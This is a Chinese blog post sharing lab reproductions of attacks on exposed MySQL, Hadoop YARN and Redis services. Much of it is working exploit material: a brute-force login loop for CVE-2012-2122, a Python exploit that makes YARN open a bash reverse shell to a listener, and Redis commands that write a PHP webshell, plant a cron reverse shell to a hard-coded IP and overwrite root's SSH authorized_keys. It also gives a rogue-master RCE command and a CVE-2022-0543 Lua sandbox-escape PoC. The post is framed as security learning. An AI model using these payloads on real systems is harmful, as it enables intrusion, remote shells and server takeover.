前言:昨天做了几个靶场,分享一下成果。
首先我们了解一下服务安全,服务安全测试流程第一步就是判断服务开放(1.端口扫描2.组合猜解3.信息来源),如果一个服务都没开启那么我们是无法漏洞利用的;其次是判断服务类型(1.数据库2.文件传输3.远程控制4.数据通讯等);最后判断利用方式(1.特性漏洞2.未授权访问3.弱口令爆破)。端口即服务(服务安全的前提是看服务有没有开放),信息来源是通过报错、网站的源码等来源。
本文知识点:
1.Mysql--CVE-2012-2122
2.Hadoop--配置不当未授权三重奏&RCE漏洞
3.Redis--配置不当未授权三重奏&RCE两漏洞
Mysql--未授权访问-CVE-2012-2122利用
复现环境:vulhub 内置端口3306
pyload:for i in seq 1 1000
; do mysql -uroot -pwrong -h your-ip -P3306 ; done
该漏洞利用比较简单,原理就是利用for循环去猜解他的账号密码,当尝试多次以后就会直接进入数据库(逻辑错误)--报错报错突然就进去了。
Mysql的弱口令猜解有一定的限制:
mysql默认配置本地登录root用户,远程的连接请求拒绝
但是我们可以借助phpmyadmin猜解,phpmyadmin第三方的数据库管理应用 搭建在对方的服务器;phpmyadmin登录mysql数据库,这个数据库发送是由本地到本地的过程 所以可以进行测试。
Hadoop--未授权访问-内置配合命令执行RCE(端口:50010等)
复现环境:vulfocus
EXP:
import requests
target = '目标 ip'
lhost = '监听ip' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
思路就是:把目标主机和要nc反弹的主机写道exp中,在运行py的exp就可以实现nc反弹
Redis-未授权访问-Webshell&任务&密钥&Rce等
首先是未授权访问:1.我们搭建好Redis服务时配置文件中 bind 127.0.0.1是注释的,这就说明谁都可以连接Redis数据库;2.安全模式为no
3.Redis开始是没有密码的需要自己设置
以上三个条件导致了Redis的未授权访问。
我们可以看到直接没有密码登录成功了
当我们登录成功后就可以进行更深的漏洞的利用
1.写Webshell (前提:知道Web目录的路径、可以读写权限)
利用条件:Web目录权限可读写
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行 #注意:不是所有的目录都有读写权限
2.写定时任务反弹shell
利用条件:
允许异地登录
安全模式protected-mode处于关闭状态
config set dir /var/spool/cron(计时目录的位置)
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
Save
看到了命令写入成功。
3、写入Linux ssh-key公钥(密匙就是取代密码登录的一种方式)
利用条件:
允许异地登录
Redis服务使用ROOT账号启动
安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 118.31.57.214 -x set xxx
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@118.31.57.214
说明:以上三个漏洞都有利用条件
4.RCE自动化利用脚本
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 123.58.236.76 -p 11820 -L 47.94.236.117 -P 8888 -f RedisModulesSDK/exp.so -c "id"(-r为目标地址,-p是端口)
5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
以上为三个数据库的漏洞以及利用,还有几个数据库报出过漏洞例如: H2&Elasticsearch&CouchDB&Influxdb等,因为比较少见这里不过多介绍了。
因为是小白,文章比较水就分享一些做过的靶场复现,希望大家一起沟通学习,祝各位师傅src早日榜上有名,潜心学安全大家共勉。
版权归原作者 LaPluie985 所有, 如有侵权,请联系我们删除。